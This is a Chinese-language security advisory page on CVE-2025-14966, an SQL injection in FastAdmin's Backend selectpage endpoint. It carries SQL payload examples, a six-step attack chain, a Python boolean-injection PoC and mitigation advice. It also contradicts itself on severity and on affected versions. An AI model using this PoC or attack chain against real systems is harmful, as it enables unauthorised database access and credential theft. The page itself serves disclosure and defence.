IPBUF安全漏洞报告
English
CVE-2025-14966 CVSS 4.7 中危

CVE-2025-14966 FastAdmin Backend selectpage SQL注入漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14966
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
FastAdmin

相关标签

SQL注入FastAdminCVE-2025-14966Backend控制器selectpage函数Web安全数据库注入PHP漏洞

漏洞概述

CVE-2025-14966是FastAdmin框架中的一个高危SQL注入漏洞,存在于application/common/controller/Backend.php文件的selectpage函数中。该漏洞影响FastAdmin 1.7.0.20250506及之前版本。攻击者可以通过构造恶意的custom/searchField参数值来触发SQL注入漏洞,成功利用此漏洞可能导致数据库敏感信息泄露、数据库篡改,甚至在某些配置下可能实现远程代码执行。由于该漏洞影响Backend控制器,通常需要管理员或更高权限用户身份,但攻击者可远程利用此漏洞,且无需用户交互。该漏洞已于2025年12月19日公开披露,漏洞利用代码已在互联网公开,存在被恶意利用的风险。建议受影响用户尽快采取修复措施或缓解措施。

技术细节

该SQL注入漏洞位于FastAdmin的Backend控制器中的selectpage函数。具体来说,问题出在处理custom/searchField参数时,应用程序直接将用户输入拼接到SQL查询语句中而未进行充分的参数化或过滤。攻击者可以通过在searchField参数中注入SQL语句片段,如使用UNION SELECT、布尔盲注或时间盲注等技术来提取数据库中的敏感信息。selectpage函数通常用于下拉列表数据的异步加载,因此会直接处理用户提交的查询参数。由于该参数未经安全处理,攻击者可以构造类似'field_name OR 1=1--'或更复杂的SQL payload来绕过安全限制。在FastAdmin的典型部署中,Backend控制器通常需要认证后才能访问,但攻击者仍可利用已获取的高权限账户或通过其他认证绕过手段来利用此漏洞。攻击者可能通过该漏洞获取数据库中的用户凭证、配置信息或其他敏感数据。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标FastAdmin网站,识别Backend控制器的selectpage端点,通常位于/admin/ajax/selectpage
STEP 2
步骤2
认证阶段:攻击者需要获取FastAdmin后台管理员权限,可通过默认凭证、暴力破解或其他认证漏洞获取访问权限
STEP 3
步骤3
构造恶意请求:攻击者构造包含SQL注入payload的HTTP请求,在custom[searchField]参数中注入SQL语句,如使用UNION SELECT或盲注技术
STEP 4
步骤4
触发漏洞:向selectpage函数发送恶意请求,应用程序直接将用户输入拼接到SQL查询中执行
STEP 5
步骤5
数据提取:利用SQL注入漏洞逐步提取数据库中的敏感信息,如用户表中的用户名、密码哈希等
STEP 6
步骤6
持久化控制:在成功提取凭证后,攻击者可以使用获取的凭据进一步控制应用程序或服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14966 SQL Injection PoC for FastAdmin # Target: FastAdmin <= 1.7.0.20250506 # Endpoint: /admin/ajax/selectpage (or similar Backend selectpage endpoint) def exploit_sql_injection(target_url, field_name="id"): """ SQL Injection via custom/searchField parameter in FastAdmin Backend Controller """ # Payload: Boolean-based blind SQL injection # Testing with a simple boolean condition payload_true = f"{field_name} AND 1=1" payload_false = f"{field_name} AND 1=2" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Test TRUE condition data_true = { "custom[searchField]": payload_true, "searchKey": "name" } # Test FALSE condition data_false = { "custom[searchField]": payload_false, "searchKey": "name" } try: print(f"[*] Testing target: {target_url}") print(f"[*] Sending TRUE payload: {payload_true}") resp_true = requests.post(target_url, data=data_true, headers=headers, timeout=10) print(f"[*] Sending FALSE payload: {payload_false}") resp_false = requests.post(target_url, data=data_false, headers=headers, timeout=10) # Compare responses to determine if vulnerability exists if resp_true.status_code == 200 and resp_false.status_code != 200: print("[+] Vulnerable! Different responses detected.") elif resp_true.text != resp_false.text: print("[+] Potentially vulnerable! Responses differ.") else: print("[-] Target may not be vulnerable or endpoint incorrect.") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/admin/ajax/selectpage") sys.exit(1) target = sys.argv[1] exploit_sql_injection(target)

影响范围

FastAdmin < 1.7.0.20250506

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拦截包含SQL注入特征的请求;2) 临时禁用或限制selectpage功能的访问,仅允许受信任的IP地址访问;3) 在Backend.php的selectpage函数中添加临时输入过滤逻辑,对searchField等参数进行正则匹配和过滤;4) 加强对后台管理界面的访问控制,启用双因素认证;5) 加强对数据库账户的权限控制,限制应用程序数据库账户的权限为最小必要权限;6) 部署入侵检测系统监控异常的数据库查询行为。建议在完成修复前密切关注应用日志,排查是否存在已遭受攻击的迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表